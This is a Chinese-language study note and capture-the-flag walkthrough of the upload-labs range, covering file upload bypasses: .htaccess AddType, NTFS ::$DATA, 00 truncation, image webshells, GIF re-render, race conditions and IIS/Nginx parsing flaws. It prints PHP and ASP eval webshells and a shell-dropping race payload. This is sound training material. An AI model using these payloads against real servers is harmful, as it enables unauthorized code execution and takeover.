文件上传漏洞(配upload靶场wp)
文件上传小知识点
检测:
前端检测:利用 JS 进行检测(等于没有检测)
后端检测:利用后端脚本进行检测
网站对上传文件的处理:
获取上传文件的文件名、后缀
黑白名单:
黑名单:不允许。。。
白名单:允许,有特权
| 文件 | 兼容文件 |
|---|---|
| php | php3、php4、php5、phtml |
| jsp | jspx、jspf |
| asp | asa、cer、aspx |
| exe | exee |
分布式配置文件:.htaccess
Hypertext Access超文本入口,提供了针对目录改变配置的方法,在一个特定文档目录中放置一个包含一个或多个指令的文件,以作用与此目录及其所有子目录。
当该文件存在时,可以重新定义规则
它的功能有:文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态、禁止特定IP、只允许特定IP、禁止目录列表
其默认不开启
AddType application/x-httpd-php .jpg
//将 jpg 文件当作 php 文件来解析
命名为.htaccess
ren 1.txt 1.htaccess
//cmd命令
Windows文件流:
::$DATA:这里利用了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,一个文件可以即存在另一个文件里(套娃)
NTFS会自动在文件后加1.txt::$DATA
00截断:
(半双工通信)使用终止符00告诉对面通话结束
1.php(终止符).jpg <= 移动文件
上传 => 被移动 => 重命名
临时名字:$_FILES['uoload_file']['tmp_name']
00截断 对于 move_upload_file() 产生
GET => %00
POST => a => 61 -> 00 抓包替换
图片马绕过:
由于它会检测图片的内容等信息,故不可伪造 php ,这时可以将一句话木马藏在图片里
保存一张图片和一句话木马
copy 原图片.jpg/b + 1.php 111.jpg
/b 的意思为以二进制读取
getimagesize:
检测文件头
二次渲染:
传上去的内容会被重新渲染
通过gif绕过,不会渲染动图的前几行代码
在第三行直接写一句话木马
条件竞争:
文件可能先上传 -> 检测 -> 删除
在删除之前,让 php 写一个马(2.php),删除 1.php 后 2.php 依然存在
<?php file_put_contents('2.php','<?php eval($_REQUEST[8])?>')?>
文件解析漏洞:
web 容器可以对任意后缀进行任意解析(设置后)
IIS => 扩展名 与 可执行文件路径对应
Windows server 2003 IIS 6.0 的.asa、.cer、.cdx 默认当做 .asp 处理
Windows server 2008 IIS 7.0
Windows server 2016 IIS 10
asp一句话木马:<%eval request("a")%>
可以尝试:aspx、axd
IIS 6.0截断解析:
1.asp;1.jpg 会被当作1.jpg上传,但会被Web容器当作1.asp解析
IIS 6.0 文件夹名影响
1.asp/1.jpg只要文件名为.asp,无论文件夹内是什么文件,都会被当作asp解析
CGI解析漏洞:
Nginx默认是以CGI的方式支持PHP解析,Apache不会产生
PHP在运行时,保留了一个接口(如:9000),需要解析的文件转到9000端口
../1.jpg/.php会被交给PHP进行解析,但是.php文件不存在,PHP向上解析1.jpg
IIS 6.0 的报错信息会在左上角正常显示,提示返回等操作
这个漏洞在 IIS 7.0 7.5 也存在
wp
-
0x00-简单前端绕过
将一句话木马文件名改写为
1.jpg;上传抓包,修改回1.php

传参8访问一下phpinfo();

菜刀连一下,得到flag

-
0x01-后端类型检测
同上,抓包改后缀
-
0x02-黑名单绕过
源码里看到禁止上传
.asp、.aspx、.php、.jsp后缀的文件,可以用phtml绕过

-
0x03-分布式配置文件
先上传
1.jpg;在上传准备好的分布式配置文件对其规则进行修改(AddType application/x-httpd-php .jpg)


规则已被修改,可以使用菜刀连接
-
0x04-后缀名大小写绕过
-
0x05-空格绕过
抓包,在文件名后加空格
-
0x06-点绕过
抓包加
. -
0x07-Windows文件流绕过

成功上传
-
0x08-构造文件后缀绕过
源码中先检测
.,循环删除;再检测,循环删除可以构造
.php. .,这样就会存在一个点无法被删除,造成点绕过 -
0x09-双写绕过
源码中将敏感文件名替换为空,可以双写绕过
-
0x0A-00截断
查看源码,发现可以GET传参,在
1.php后加上%001.jpg构成00截断 -
0x0B-00截断进阶
在POST传参中不能使用 URL 编码,故在
1.php后加上a,它对应的 hex 是 61 ,抓包将它对应的 61 改为00构成 00截断 -
0x0C-图片马绕过
copy 123.jpg/b + 1.php 1.jpg

使用 copy 命令生成图片马上传
下载后看一眼hex

-
0x0D-getimagesize图片类型绕过
生成
.gif图片马

-
0x0E-还是一个图片马
上传图片马即可
-
0x0F-二次渲染绕过
将一句话木马写在
gif第三行,绕过渲染

-
0x10-条件竞争
传一个
1.php,抓包,设置为20线程访问生成页面,线程30,抓包,两个一起跑
payload设置的大一点

-
0x13-00截断
传一句话木马,抓包改文件名
1.phpa,在hex 里将61改为00


-
0x14-IIS 6.0解析漏洞
合成asp的图片马
<%eval request("a")%>

上传、抓包、改后缀.asa

上传成功

访问一下./a/image/asp.asa

连菜刀,脚本类型手动选择ASP

拿到flag

-
0x15-IIS 6.0截断解析
上传图片马
222.asp;222.jpg

拿到flag

-
0x16-IIS 6.0 文件夹名影响
将图片马保存在
1.asp文件夹内,上传文件夹,图片马会被当作ASP解析 -
0x17-CGI解析漏洞

访问这个图片,并在后面加上.php

拿到flag


浙公网安备 33010602011771号